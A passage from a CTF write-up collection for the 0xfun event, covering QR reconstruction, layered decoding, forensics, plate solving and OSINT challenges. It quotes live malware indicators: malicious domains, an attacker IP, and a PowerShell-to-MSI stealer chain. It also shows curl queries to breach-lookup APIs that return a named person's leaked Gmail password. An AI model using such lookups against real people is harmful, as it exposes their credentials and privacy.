    # Detect the two visible finder patterns (top-left and bottom-left) to infer rotation and module pitch.
    bw = cv2.adaptiveThreshold(g, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 35, 5)
    bw = cv2.morphologyEx(bw, cv2.MORPH_OPEN, cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3)), iterations=1)
    cnts, _ = cv2.findContours(bw, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    cand = []
    for cc in cnts:
        area = cv2.contourArea(cc)
        if area < 500:
            continue
        rx, ry, rww, rhh = cv2.boundingRect(cc)
        ar = rww / float(rhh)
        if 0.8 < ar < 1.2 and rww > 40 and rhh > 40:
            cand.append((area, rx, ry, rww, rhh))
    if not cand:
        raise RuntimeError("could not find finder candidates")

    left = [b for b in cand if b[1] < cw * 0.35]
    left = sorted(left, reverse=True)
    tl = sorted(left[:20], key=lambda b: b[1] + b[2])[0]
    bl = max(left[:50], key=lambda b: b[2])

    _, tlx, tly, tlw, tlh = tl
    _, blx, bly, blw, blh = bl
    tl_center = np.array([tlx + tlw / 2.0, tly + tlh / 2.0], dtype=np.float32)
    bl_center = np.array([blx + blw / 2.0, bly + blh / 2.0], dtype=np.float32)

    dy = bl_center - tl_center
    dist = float(np.linalg.norm(dy))
    uy = dy / dist
    ux = np.array([uy[1], -uy[0]], dtype=np.float32)

    # Expected 7x7 finder pattern (1 = black).
    F = np.zeros((7, 7), dtype=np.uint8)
    for rr in range(7):
        for cc in range(7):
            if rr in (0, 6) or cc in (0, 6) or (2 <= rr <= 4 and 2 <= cc <= 4):
                F[rr, cc] = 1

    for n in (25, 29, 33):
        pitch = dist / float(n - 7)
        pitch2 = ((tlw + tlh) / 2.0) / 7.0
        pitch = (pitch + pitch2) / 2.0
        origin = tl_center - ux * (3.5 * pitch) - uy * (3.5 * pitch)
        win = max(1, int(pitch * 0.35))

        M = np.zeros((n, n), dtype=np.uint8)
        for r in range(n):
            for c in range(n):
                pt = origin + ux * ((c + 0.5) * pitch) + uy * ((r + 0.5) * pitch)
                px = int(round(float(pt[0])))
                py = int(round(float(pt[1])))
                x0 = max(0, px - win)
                x1 = min(cw, px + win + 1)
                y0 = max(0, py - win)
                y1 = min(ch, py + win + 1)
                mean = float(g[y0:y1, x0:x1].mean())
                M[r, c] = 1 if mean < 128 else 0

        M2 = M.copy()
        # TL
        M2[0:7, 0:7] = F
        M2[7, 0:8] = 0
        M2[0:8, 7] = 0
        # BL
        M2[n - 7 : n, 0:7] = F
        M2[n - 8, 0:8] = 0
        M2[n - 8 : n, 7] = 0
        # TR (tape-covered)
        M2[0:7, n - 7 : n] = F
        M2[7, n - 8 : n] = 0
        M2[0:8, n - 8] = 0

        qz = 4
        out = np.ones((n + 2 * qz, n + 2 * qz), dtype=np.uint8) * 255
        out[qz : qz + n, qz : qz + n] = 255 - (M2 * 255)
        out_big = cv2.resize(out, (out.shape[1] * 12, out.shape[0] * 12), interpolation=cv2.INTER_NEAREST)

        recon_path = os.path.join(ROOT, "_solve_flag_qr.png")
        cv2.imwrite(recon_path, out_big)

        try:
            text = decode_with_zbar(recon_path)
        except Exception:
            continue
        if text.startswith("0xfun{") and text.endswith("}"):
            return text, recon_path

    raise RuntimeError("failed to recover/decode flag from secret_id.png")


def main() -> None:
    gif_path = os.path.join(ROOT, "attachments", "qr.gif")
    url, _ = reconstruct_initial_qr(gif_path)
    print(f"[+] stage1 url: {url}")

    qr_png_path = None
    for candidate in ("qr_from_url.png", "qr.png"):
        p = os.path.join(ROOT, candidate)
        if os.path.exists(p):
            qr_png_path = p
            break
    if qr_png_path is None:
        raise SystemExit(
            "Missing 'qr.png' (the image hosted at the decoded URL). "
            "Download it and place it as 'qr.png' (or 'qr_from_url.png') next to solve.py."
        )

    secret = extract_secret_id_from_qr_png(qr_png_path)
    flag, _ = recover_flag_from_secret_id(secret)
    print(flag)


if __name__ == "__main__":
    main()


## Deep Fried Data

### Description

Some say if you fry something enough times, it becomes unrecognizable.

A download link to cybersharing.net is provided with share ID `1851edf3a000207c`.

### Solution

The challenge provides an HTML page from cybersharing.net (a file sharing service) along with its JavaScript bundle. The first step is to interact with the cybersharing API to download the shared file.

**Step 1: Download the file via API**

By reverse-engineering the SharePage.js, the API endpoint and file metadata are discovered:

```bash
curl -s -X POST 'https://cybersharing.net/api/containers/1851edf3a000207c' \
  -H 'Content-Type: application/json' -d '{"password":null}'
````

This returns JSON with the container ID, signature, and upload details (a file called `notes.txt`). The file is then downloaded:

```bash
curl -s "https://cybersharing.net/api/download/file/<id>/<upload_id>/<signature>/notes.txt" -o notes.txt
```

The downloaded file is gzip compressed.

**Step 2: Iterative decoding**

After decompressing the gzip layer, the data is wrapped in \~138 layers of nested encodings including:

* **zlib** compression
* **gzip** compression
* **base64** encoding
* **base32** encoding
* **hex** encoding
* **ASCII85** encoding (with `<~...~>` markers)

At one point, a troll flag `0xfun{lol_not_yet_keep_decoding}` appears with the message `REAL_DATA_FOLLOWS:` — the actual data continues after it.

The key insight that was initially tricky: when data consists entirely of hex characters (0-9, a-f), it should be decoded as **hex first** rather than base64 (which would also accept those characters). Prioritizing hex decoding at those ambiguous steps leads to the correct final result.

**Full solution script:**

```python
import zlib, base64, binascii, gzip

with open('notes', 'rb') as f:  # after initial gunzip
    data = f.read()

step = 0
while len(data) > 50:
    step += 1

    # Compression
    if data[:2] == b'\x1f\x8b':
        try:
            data = gzip.decompress(data); continue
        except: pass
    if data[:1] == b'\x78':
        try:
            data = zlib.decompress(data); continue
        except: pass

    # ASCII check
    try:
        test = data[:500].decode('ascii').strip()
    except:
        break

    # Troll flag
    if '0xfun{' in test and 'REAL_DATA_FOLLOWS' in data.decode('ascii', errors='ignore'):
        text = data.decode('ascii')
        idx = text.find('REAL_DATA_FOLLOWS:\n')
        data = text[idx + len('REAL_DATA_FOLLOWS:\n'):].encode()
        continue

    # ASCII85
    if test.startswith('<~'):
        t = data.decode('ascii').strip()
        if t.startswith('<~'): t = t[2:]
        if t.endswith('~>'): t = t[:-2]
        data = base64.a85decode(t); continue

    has_lower = any(c.islower() for c in test)
    hex_chars = set('0123456789abcdefABCDEF')

    # Hex (prioritize over base64 when all chars are valid hex)
    if all(c in hex_chars for c in test):
        try:
            data = binascii.unhexlify(data.strip()); continue
        except: pass

    # Base32
    b32_chars = set('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=')
    if all(c in b32_chars for c in test) and not has_lower:
        try:
            data = base64.b32decode(data); continue
        except: pass

    # Base64
    b64_chars = set('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\n\r')
    if all(c in b64_chars for c in test):
        try:
            data = base64.b64decode(data); continue
        except: pass

    break

# Final base64 decode
flag = base64.b64decode(data).decode()
print(flag)
```

After 139 total decoding steps, the final base64 string decodes to the flag.

**Flag:** `0xfun{d33p_fr13d_3nc0d1ng_0n10n}`

### Printer

#### Description

We were given `Printer.rar` containing: `the_end.txt`, `theyraninside.jpg`, and a password-protected `thedoor.rar`.

#### Solution

```bash
# 1) Extract first archive
7z x -o. attachments/Printer.rar

# 2) Discover the password for the second archive from image metadata
#    (EXIF shows creator/metadata contains the string 'vengeance')
7z x -pvengeance thedoor.rar

# 3) `upthestairs.jpg` appears in the extracted result
#    and contains an embedded RAR at offset 0x4AC87
binwalk upthestairs.jpg

# 4) Carve the embedded RAR from the JPEG and list files

dd if=upthestairs.jpg of=upthestairs_embed.rar bs=1 skip=$((0x4AC87))
7z l upthestairs_embed.rar

# 5) Extract archive and inspect extracted file path
#    It creates a top-level directory with name ' ' containing '/iseeyou.jpg'
7z x upthestairs_embed.rar -y

# 6) Read alternate data stream containing reveal text
cat ' /iseeyou.jpg:reveal'
# => CTF{3_cheers_4_sw33t_reVeng3}

# 7) Submit with competition format
"0xfun{3_cheers_4_sw33t_reVeng3}"
```

#### Flag

`0xfun{3_cheers_4_sw33t_reVeng3}`

### Insanity Revenge

#### Description

> Return to Insanity 1 and see if you can figure out!

**Category:** Misc | **Points:** 495 | **Solves:** 2

#### Solution

The challenge directs us back to the "Insanity 1" Discord server — **0xFun Portal** (guild ID `1434176687188475926`, invite code `RUwDQBsSxt`).

**Step 1: Enumerate the server via Discord API**

Using a Discord user token, enumerate all server metadata (roles, channels, emojis, stickers, events, etc.):

```python
import requests, time, json

TOKEN = "YOUR_DISCORD_TOKEN"
GUILD_ID = "1434176687188475926"
BASE = "https://discord.com/api/v10"
headers = {"Authorization": TOKEN}

# Get guild info
guild = requests.get(f"{BASE}/guilds/{GUILD_ID}?with_counts=true", headers=headers).json()

# Get emojis
emojis = requests.get(f"{BASE}/guilds/{GUILD_ID}/emojis", headers=headers).json()
for e in emojis:
    ext = "gif" if e.get("animated") else "png"
    print(f":{e['name']}: id={e['id']} animated={e.get('animated')}")
    print(f"  https://cdn.discordapp.com/emojis/{e['id']}.{ext}")
```

This reveals a single custom animated emoji: `:logo:` (id `1435760207568437278`), downloadable from:

```
https://cdn.discordapp.com/emojis/1435760207568437278.gif
```

**Step 2: Analyze the animated emoji**

The GIF has **2 frames**:

* **Frame 0**: The "0xFun 2025 CTF" logo (displayed for \~66 seconds)
* **Frame 1**: The flag text, displayed extremely briefly

Because Frame 0 has such a long duration, the second frame is essentially invisible during normal Discord usage. Extracting Frame 1 reveals the flag:

```python
from PIL import Image

img = Image.open("logo.gif")
print(f"Frames: {img.n_frames}")  # 2

img.seek(1)
img.convert("RGB").save("frame1.png")
```

The extracted second frame contains diagonal white text on a black background reading the flag.

**Flag:** `0xfun{0m_built_a5_a_G1F}`

### Skyglyph II: Blind Drift

#### Description

Given 4 noisy frames of star-tracker detections, a reference star catalog (7000 stars, RA 283-297, Dec 28-42), and a rough pointing seed for frame 1 only. Must plate-solve each frame (determine camera pose + radial distortion), match detections to catalog stars, derive per-frame encryption keys from the matched star IDs, and decrypt flag parts using ChaCha20-Poly1305 AEAD.

#### Solution

**Key insight:** The camera has a \~7.9-degree FOV on a 2048x2048 detector. Each frame sees \~2100 good detections (sigma < 1.2). The challenge requires exact star ID matching — even one wrong match causes AEAD authentication failure.

**Approach — 3-stage plate solving:**

1. **Hough Transform for initial pose:** For each candidate rotation angle, project bright catalog stars (mag < 4) onto "pixel offsets" at the known scale. For each (catalog star, detection) pair, compute the implied detector center (cx, cy). A 2D histogram of these offsets reveals the correct (cx, cy) as a clear peak. This simultaneously solves for rotation and translation.
2. **Iterative affine refinement:** Starting from the Hough solution, alternately match detections to catalog stars (using KDTree nearest-neighbor) and fit the affine + radial distortion model using Huber-loss least squares. Tolerance decreases from 10px to 1.5px over 50 iterations. Linear affine solve (no distortion) for the first 5 iterations provides stability.
3. **Key derivation & decryption:** At various matching tolerances, extract matches with catalog mag < 6.0 and detection sigma < 1.2, sort by detection flux descending, take top 64 star IDs, compute SHA-256 key, and attempt ChaCha20-Poly1305 decryption.

**Frame-specific challenges:**

* **Frame 1:** Seed pointing (289.8, 35.0) provided — straightforward solve at tol=1.5px
* **Frames 2, 4:** Used catalog center (290, 35) as gnomonic projection center; Hough search found shifted detector centers (cx, cy far from 1024). Solved at tol=5.0px
* **Frame 3:** Required different gnomonic center (286, 34) due to large pointing drift. Searching multiple projection centers was necessary

**Distortion model:**

```
u = A*xi + B*eta  (tangent plane to pixel offset)
v = C*xi + D*eta
r² = u² + v²
x_obs = cx + u*(1 + k1*r² + k2*r⁴)
y_obs = cy + v*(1 + k1*r² + k2*r⁴)
```

**Key derivation (per frame):**

```python
# Filter: catalog mag < 6.0 AND detection sigma < 1.2
# Sort by detection flux descending, take top 64
key = SHA256(star_id_1_le32 || star_id_2_le32 || ... || star_id_64_le32)
```

**Solution code (combined solver):**

```python
#!/usr/bin/env python3
import csv, json, hashlib, struct, numpy as np
from scipy.optimize import least_squares
from scipy.spatial import KDTree
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305

ATT = Path("attachments")

def load_catalog():
    with open(ATT / "catalog.csv") as f:
        return [{'star_id': int(r['star_id']), 'ra': float(r['ra_deg']),
                 'dec': float(r['dec_deg']), 'mag': float(r['mag'])} for r in csv.DictReader(f)]

def load_frame(n):
    with open(ATT / f"frame{n}.csv") as f:
        return [{'x': float(r['x_px']), 'y': float(r['y_px']),
                 'flux': float(r['flux']), 'sigma': float(r['sigma_px'])} for r in csv.DictReader(f)]

def gnomonic_batch(ra, dec, ra0, dec0):
    r, d = np.radians(np.asarray(ra, dtype=float)), np.radians(np.asarray(dec, dtype=float))
    r0, d0 = np.radians(ra0), np.radians(dec0)
    cos_c = np.sin(d0)*np.sin(d) + np.cos(d0)*np.cos(d)*np.cos(r - r0)
    xi = np.cos(d)*np.sin(r - r0)/cos_c
    eta = (np.cos(d0)*np.sin(d) - np.sin(d0)*np.cos(d)*np.cos(r - r0))/cos_c
    return xi, eta

def model_forward(xi, eta, params):
    cx, cy, A, B, C, D, k1, k2 = params
    u, v = A*xi + B*eta, C*xi + D*eta
    r2 = u*u + v*v
    d = 1 + k1*r2 + k2*r2*r2
    return cx + u*d, cy + v*d

def solve_affine_linear(dx, dy, xi, eta):
    n = len(dx)
    M = np.column_stack([np.ones(n), xi, eta])
    rx, _, _, _ = np.linalg.lstsq(M, dx, rcond=None)
    ry, _, _, _ = np.linalg.lstsq(M, dy, rcond=None)
    return [rx[0], ry[0], rx[1], rx[2], ry[1], ry[2], 0.0, 0.0]

def hough_search(det_xy, b_xi, b_eta, fov, n_det=300):
    inv_scale = 2048 / np.radians(fov)
    n_cat = len(b_xi)
    best_count, best_theta, best_cx, best_cy = 0, 0, 1024, 1024
    for theta_deg in np.linspace(0, 360, 720, endpoint=False):
        theta = np.radians(theta_deg)
        ct, st = np.cos(theta), np.sin(theta)
        cpx = (b_xi*ct + b_eta*st)*inv_scale
        cpy = (-b_xi*st + b_eta*ct)*inv_scale
        ox = (det_xy[:n_det, 0:1] - cpx[np.newaxis, :]).ravel()
        oy = (det_xy[:n_det, 1:2] - cpy[np.newaxis, :]).ravel()
        hist, xe, ye = np.histogram2d(ox, oy, bins=75, range=[[-500,2500],[-500,2500]])
        p = np.max(hist)
        if p > best_count:
            best_count = int(p)
            idx = np.unravel_index(np.argmax(hist), hist.shape)
            best_cx = (xe[idx[0]]+xe[idx[0]+1])/2
            best_cy = (ye[idx[1]]+ye[idx[1]+1])/2
            best_theta = theta_deg
    for stage in range(3):
        w = [2, 0.5, 0.15][stage]; ns = [60, 30, 20][stage]; bs = [10, 5, 3][stage]
        local_best = 0
        for td in np.linspace(best_theta-w, best_theta+w, ns):
            theta = np.radians(td)
            ct, st = np.cos(theta), np.sin(theta)
            cpx = (b_xi*ct + b_eta*st)*inv_scale
            cpy = (-b_xi*st + b_eta*ct)*inv_scale
            ox = (det_xy[:n_det, 0:1] - cpx[np.newaxis, :]).ravel()
            oy = (det_xy[:n_det, 1:2] - cpy[np.newaxis, :]).ravel()
            cx_r = best_cx + np.arange(-50, 51, bs)
            cy_r = best_cy + np.arange(-50, 51, bs)
            hist, xe, ye = np.histogram2d(ox, oy, bins=[len(cx_r), len(cy_r)],
                range=[[cx_r[0]-bs/2, cx_r[-1]+bs/2], [cy_r[0]-bs/2, cy_r[-1]+bs/2]])
            p = np.max(hist)
            if p > local_best:
                local_best = int(p)
                idx = np.unravel_index(np.argmax(hist), hist.shape)
                best_cx = (xe[idx[0]]+xe[idx[0]+1])/2
                best_cy = (ye[idx[1]]+ye[idx[1]+1])/2
                best_theta = td
        best_count = local_best
    return best_theta, best_cx, best_cy, best_count

def try_solve(det_xy, det_flux, det_sigma, catalog, all_xi, all_eta, fov, theta, cx, cy, fn):
    det_tree = KDTree(det_xy)
    scale = np.radians(fov)/2048; t = np.radians(theta); inv_s = 1.0/scale
    params = [cx, cy, np.cos(t)*inv_s, np.sin(t)*inv_s, -np.sin(t)*inv_s, np.cos(t)*inv_s, 0, 0]
    for it in range(50):
        px, py = model_forward(all_xi, all_eta, params)
        tol = max(1.5, 10.0 - it*0.17)
        on = (px >= -30) & (px <= 2077) & (py >= -30) & (py <= 2077)
        cat_on = np.where(on)[0]
        if len(cat_on) == 0: break
        cpx = np.column_stack([px[cat_on], py[cat_on]])
        dists, idxs = det_tree.query(cpx)
        du = {}
        for cl in range(len(cat_on)):
            if dists[cl] < tol:
                ci, di = cat_on[cl], idxs[cl]
                if di not in du or dists[cl] < du[di][1]: du[di] = (ci, dists[cl])
        pairs = [(dj, ci) for dj, (ci, _) in du.items()]
        if len(pairs) < 20: break
        mx = np.array([det_xy[j][0] for j,_ in pairs])
        my = np.array([det_xy[j][1] for j,_ in pairs])
        mxi = np.array([all_xi[i] for _,i in pairs])
        meta = np.array([all_eta[i] for _,i in pairs])
        if it < 5:
            params = solve_affine_linear(mx, my, mxi, meta)
        else:
            def res(p):
                px2, py2 = model_forward(mxi, meta, p)
                return np.concatenate([px2-mx, py2-my])
            params = list(least_squares(res, params, loss='huber', f_scale=1.0, max_nfev=500).x)
    px, py = model_forward(all_xi, all_eta, params)
    on = (px >= -20) & (px <= 2067) & (py >= -20) & (py <= 2067)
    cat_on = np.where(on)[0]
    cpx = np.column_stack([px[cat_on], py[cat_on]])
    dists, idxs = det_tree.query(cpx)
    for tf in [0.5, 0.8, 1.0, 1.5, 2.0, 3.0, 5.0, 8.0]:
        du = {}
        for cl in range(len(cat_on)):
            if dists[cl] < tf:
                ci, di = cat_on[cl], idxs[cl]
                if di not in du or dists[cl] < du[di][1]: du[di] = (ci, dists[cl])
        final = [{'star_id': catalog[ci]['star_id'], 'mag': catalog[ci]['mag'],
                  'flux': det_flux[dj], 'sigma': det_sigma[dj]} for dj,(ci,_) in du.items()]
        km = sorted([m for m in final if m['mag']<6.0 and m['sigma']<1.2], key=lambda m: m['flux'], reverse=True)
        if len(km) >= 64:
            sids = [m['star_id'] for m in km[:64]]
            key = hashlib.sha256(b''.join(struct.pack('<I', s) for s in sids)).digest()
            c = (ATT/f'cipher{fn}.bin').read_bytes()
            n = (ATT/f'nonce{fn}.bin').read_bytes()
            try:
                return ChaCha20Poly1305(key).decrypt(n, c, f'PlateSolve++|frame={fn}'.encode()).decode()
            except: pass
    return None

def main():
    catalog = load_catalog()
    with open(ATT/"seed.json") as f: seed = json.load(f)
    all_ra = np.array([s['ra'] for s in catalog])
    all_dec = np.array([s['dec'] for s in catalog])
    all_mag = np.array([s['mag'] for s in catalog])
    fov = 7.9
    # Gnomonic centers to try per frame
    centers = {
        1: [(seed['frame1']['ra0_deg'], seed['frame1']['dec0_deg'])],
        2: [(290, 35)],
        3: [(ra, dec) for ra in np.linspace(286, 294, 9) for dec in np.linspace(30, 40, 11)],
        4: [(290, 35)],
    }
    parts = [None]*4
    for fn in range(1, 5):
        dets = load_frame(fn)
        good = sorted([d for d in dets if d['sigma'] < 1.2], key=lambda d: d['flux'], reverse=True)
        dxy = np.array([(d['x'], d['y']) for d in good])
        dfl = np.array([d['flux'] for d in good])
        dsi = np.array([d['sigma'] for d in good])
        for ra0, dec0 in centers[fn]:
            xi, eta = gnomonic_batch(all_ra, all_dec, ra0, dec0)
            bm = all_mag < 4.0
            theta, cx, cy, cnt = hough_search(dxy[:300], xi[bm], eta[bm], fov)
            if cnt < 30: continue
            pt = try_solve(dxy, dfl, dsi, catalog, xi, eta, fov, theta, cx, cy, fn)
            if pt:
                parts[fn-1] = pt
                print(f"Frame {fn}: {pt}")
                break
    flag = ''.join(p.split(': ',1)[1] for p in parts if p)
    print(f"FLAG: {flag}")

if __name__ == '__main__':
    main()
```

**Flag:** `0xfun{w0w_Y0u_4R3_G0oD_4t_Th1s_ST4r_Th1N9}`

***

## osint

### Lookup 0xFUN

#### Description

This event takes place on ctf.0xfun.org, but you can easily find it by searching.

#### Solution

The challenge hints at "looking up" the domain `ctf.0xfun.org`. In OSINT, DNS records are publicly accessible information. Querying the TXT records for the domain reveals the flag.

```bash
dig ctf.0xfun.org TXT
```

Output:

```
ctf.0xfun.org.  300  IN  TXT  "0xfun{4ny_1nfo_th4ts_pub1cly_4cc3ss1bl3_1s_0S1NT}"
```

The flag was stored as a DNS TXT record on `ctf.0xfun.org`.

**Flag:** `0xfun{4ny_1nfo_th4ts_pub1cly_4cc3ss1bl3_1s_0S1NT}`

### Malware Analysis 1

#### Description

We know the attack came from the IP address "172.67.178.15", and an MSI file was installed on the device, but not much more. What is the name of the MSI file used in the attack?

#### Solution

The IP `172.67.178.15` is a Cloudflare IP address. Searching for this IP on threat intelligence platforms reveals a JoeSandbox malware analysis report ([analysis #1623555](https://www.joesandbox.com/analysis/1623555/0/html)) that references this exact IP in its network indicators.

**Step 1: Search for the IP in malware sandboxes**

A web search for `"172.67.178.15" communicating files detected malware` returns a JoeSandbox automated analysis report.

**Step 2: Examine the JoeSandbox report**

The report metadata and IOC sections list:

* Network IOC: `172.67.178.15` (contacted during malware execution)
* Associated malicious domains: `bestiamos.com`, `cloused-flow.site`, `bestieslos.com`
* File artifact: `C:\Users\Public\3aw.msi`

The MSI file `3aw.msi` was dropped to `C:\Users\Public\` and executed via `MsiExec.exe`, which then spawned additional malicious payloads including `Ahnenblatt4.exe` and associated DLLs under `C:\Users\user\AppData\Local\Maven\`.

**Flag:** `0xfun{3aw.msi}`

### Malware Analysis 2

#### Description

What malicious domain is used in the attack?

#### Solution

Continuing from Malware Analysis 1, we know the attack originated from IP `172.67.178.15` and involved an MSI file (`3aw.msi`). The JoeSandbox report ([analysis #1623555](https://www.joesandbox.com/analysis/1623555/0/html)) from the previous challenge contains the network indicators needed to answer this question.

**Step 1: Examine DNS queries in the JoeSandbox report**

The report's DNS traffic section shows the malware made queries to three non-Microsoft domains:

| Domain              | Resolved IP     | Timing           |
| ------------------- | --------------- | ---------------- |
| `bestiamos.com`     | `172.67.178.15` | 11:20:50 (first) |
| `cloused-flow.site` | `188.114.97.3`  | 11:22:12         |
| `bestieslos.com`    | `188.114.97.3`  | 11:22:14         |

**Step 2: Identify the domain matching the known attacker IP**

The challenge series establishes `172.67.178.15` as the attacker IP. In the JoeSandbox DNS resolution table, `bestiamos.com` is the domain that resolves directly to `172.67.178.15`, making it the malicious domain used in the attack.

**Flag:** `0xfun{bestiamos.com}`

### Malware Analysis 3

#### Description

What is the original name of the MSI file, including the file extension?

#### Solution

Continuing from Malware Analysis 1 and 2, we know the MSI file `3aw.msi` (SHA256: `DE7734BAC9FCBE4355DD56B089487CFECEA762FA35E9C5B44E5047F6BAE96D3A`) was downloaded via PowerShell from `qq51f.short.gy/1` and saved as `c:\users\public\3aw.msi`. The malicious domain `bestiamos.com` resolves to the attacker IP `172.67.178.15`.

**Step 1: Extract the MSI file hash from JoeSandbox**

From the JoeSandbox report ([analysis #1623555](https://www.joesandbox.com/analysis/1623555/0/html)), the dropped file `3aw.msi` has:

* MD5: `EDFA951162F885729864766075266751`
* SHA256: `DE7734BAC9FCBE4355DD56B089487CFECEA762FA35E9C5B44E5047F6BAE96D3A`

**Step 2: Search for the hash on malware sandboxes**

Searching the SHA256 hash on [Triage](https://tria.ge/s?q=de7734bac9fcbe4355dd56b089487cfecea762fa35e9c5b44e5047f6bae96d3a) reveals the file was submitted multiple times under the name `61.brr` and `61.brr.msi`. This matches the network indicator `bestiamos.com/61.brr` visible in the JoeSandbox and Hybrid Analysis reports.

The attack chain was:

1. PowerShell downloads from `qq51f.short.gy/1` (URL shortener) and saves as `3aw.msi`
2. The shortener redirects to `bestiamos.com/61.brr` — the file's original name on the distribution server
3. The MSI installs LummaC Stealer via DLL sideloading through `Ahnenblatt4.exe`

The original name of the MSI file on the malicious server was `61.brr`.

**Flag:** `0xfun{61.brr}`

### MultiVerse

#### Description

I have a friend named **Massive-Equipment393** who's obsessed with music. Try to figure out what his favorite genre is.

**Category:** OSINT | **Points:** 275

#### Solution

The challenge involves chaining OSINT across multiple platforms to recover a 3-part flag.

**Step 1 — Reddit profile discovery**

The username `Massive-Equipment393` is a Reddit-style auto-generated name. Using the Reddit JSON API (`/user/Massive-Equipment393/about.json`), we find:

* A Spotify social link: `https://open.spotify.com/user/3164whos3zc5xss6lv7ejfdlmogi`
* The profile display title is `Ph0n8xV1me` (a secondary username)

The user also posted in r/CTFlearn with title "playlist" and body: `all 49Rak48kGp7nJoUq9ofCX everyday.`

**Step 2 — Base58 decode (Part 2)**

The string `49Rak48kGp7nJoUq9ofCX` decodes from Base58 to: `pl4yl1st_3xt3nd`

```python
import base58
print(base58.b58decode("49Rak48kGp7nJoUq9ofCX").decode())
# pl4yl1st_3xt3nd
```

**Step 3 — Spotify playlists (Parts 1 and 3)**

The Spotify profile `Ph0n8xV1me` has 3 public playlists. One playlist's description contains Base64 that decodes to: `0xfun{sp0t1fy_`

Another playlist ("My Playlist #2") encodes a message via the first letter of each song title, spelling out: `_M0R3_TR4X}`

**Assembling the flag**

Combining all three parts in order:

```
Part 1 (Spotify base64):  0xfun{sp0t1fy_
Part 2 (Reddit base58):   pl4yl1st_3xt3nd
Part 3 (Spotify acrostic): _M0R3_TR4X}
```

**Flag:** `0xfun{sp0t1fy_pl4yl1st_3xt3nd_M0R3_TR4X}`

### MrHowell

#### Description

A potential security breach has been identified involving Andrea Howell, who holds advanced administrative privileges within key infrastructure. Recent activity shows unexpected sign-ins, indicating that his login information might have been leaked online. We need to investigate whether his Gmail account credentials are among the exposed data.

#### Solution

The challenge asks us to find leaked Gmail credentials for Andrea Howell.

**Step 1: Identify the email address**

From the challenge description, the target is Andrea Howell with a Gmail account. The challenge title "MrHowell" and the name "Andrea Howell" suggest the email `andreahowell@gmail.com`.

**Step 2: Search breach databases**

First, we confirmed the email exists in known breaches using the LeakCheck public API:

```bash
curl -s "https://leakcheck.io/api/public?check=andreahowell@gmail.com"
```

This returned hits in Wattpad.com (2020-05), Hautelook.com (2018-08), and Collection 1 (2019-01), confirming the email was in leaked datasets with password fields.

**Step 3: Retrieve the leaked password**

Using the ProxyNova COMB (Compilation of Many Breaches) API, we queried for the actual credentials:

```bash
curl -s "https://api.proxynova.com/comb?query=andreahowell@gmail.com"
```

This returned multiple entries, including:

```
andreahowell@gmail.com:quack3
```

The leaked password for the Gmail account is `quack3`.

**Flag:** `0xfun{quack3}`

### Tragedy

#### Description

I recent plane fell down, what could of we done?

**Related to challenge MultiVerse**

A video file `exclusive.mp4` is provided via a Cybersharing download link.

#### Solution

**Step 1 - Identify the video**

Download the video from the Cybersharing link using a browser (SPA requires JS rendering). The file `exclusive.mp4` (3.6 MiB, 28s) shows a massive fireball and explosion filmed from a car in a suburban/industrial area.

Metadata analysis with `ffprobe` reveals:

* `creation_time: 2025-11-04T23:10:30.000000Z`
* `handler_name: Twitter-vork muxer` (originally from Twitter/X)

The video depicts the **UPS Airlines Flight 2976** crash on November 4, 2025 at Louisville, Kentucky. A McDonnell Douglas MD-11 cargo plane lost its left engine during takeoff and crashed into an industrial area, killing 15 people.

**Step 2 - Follow the MultiVerse connection**

The challenge states it's "Related to challenge MultiVerse", which involved the Reddit user `Massive-Equipment393`. Checking this user's comment history:

```bash
curl -sL -H "User-Agent: OSINT-bot/1.0" \
  "https://www.reddit.com/user/Massive-Equipment393/comments.json"
```

The user left a comment on `r/aviation` in the UPS2976 crash megathread:

> Im sorry for all the loss.

The comment contains 272 zero-width Unicode characters (U+200C, U+200D, U+FEFF, U+202C) hidden between the visible text — a zero-width character steganography encoding.

**Step 3 - Decode the zero-width steganography**

The encoding uses 4 Unicode characters as a 2-bit quaternary system. Each group of 4 ZWC characters encodes one byte. The correct mapping is:

| Character | Code Point | Bits |
| --------- | ---------- | ---- |
| ZWNJ      | U+200C     | 00   |
| ZWJ       | U+200D     | 01   |
| BOM       | U+FEFF     | 11   |
| PDF       | U+202C     | 10   |

```python
body = open('hidden_message.txt', 'r', encoding='utf-8').read()

# Extract zero-width characters
zwc = [c for c in body if ord(c) in [0x200C, 0x200D, 0xFEFF, 0x202C]]

# Map to 2-bit values (key insight: FEFF=11, 202C=10, not the other way)
char_map = {'\u200c': '00', '\u200d': '01', '\ufeff': '11', '\u202c': '10'}

# Decode groups of 4 ZWC chars as bytes, skip null bytes
result = ''
for i in range(0, len(zwc), 4):
    group = zwc[i:i+4]
    if len(group) == 4:
        byte_bits = ''.join(char_map[c] for c in group)
        val = int(byte_bits, 2)
        if val > 0 and val < 128:
            result += chr(val)

print(result)  # 0xfun{UPS_Flight_2976_fall1n_d0wn}
```

**Flag:** `0xfun{UPS_Flight_2976_fall1n_d0wn}`

### Marine Station

#### Description

Find the exact location shown in `attachments/location.jpg` (a 360-degree panorama image).

#### Solution

**Step 1 — EXIF metadata extraction**

Running `exiftool` on the image reveals it was downloaded from Google Street View using "Street View Download 360" (SVD360), with a panorama ID embedded:

```
Processing Software: SVD360 4.1.1
Make: RICOH
Camera Model Name: RICOH THETA S
Image ID: CIHM0ogKEICAgIDmoJbbjwE
Copyright: Marshal Petry
User Comment: Downloaded with Street View Download 360...Panorama ID: CIHM0ogKEICAgIDmoJbbjwE
```

**Step 2 — Resolve panorama ID to GPS coordinates**

Using the `streetlevel` Python library to query Google's Street View API for the panorama metadata:

```python
import asyncio, aiohttp
from streetlevel import streetview

async def main():
    async with aiohttp.ClientSession() as session:
        pano = await streetview.find_panorama_by_id_async(
            'CIHM0ogKEICAgIDmoJbbjwE', session
        )
        print(f"Lat: {pano.lat}")   # 25.21632711941862
        print(f"Lon: {pano.lon}")   # 55.34101405870658
        print(f"Date: {pano.date}") # 2021-10-19
        for p in pano.places:
            print(f"Place: {p.name}")
            # Al Jaddaf Marine Station - Information & Ticket Office

asyncio.run(main())
```

Results:

* **Coordinates:** 25.21632711941862, 55.34101405870658
* **Place name:** Al Jaddaf Marine Station - Information & Ticket Office
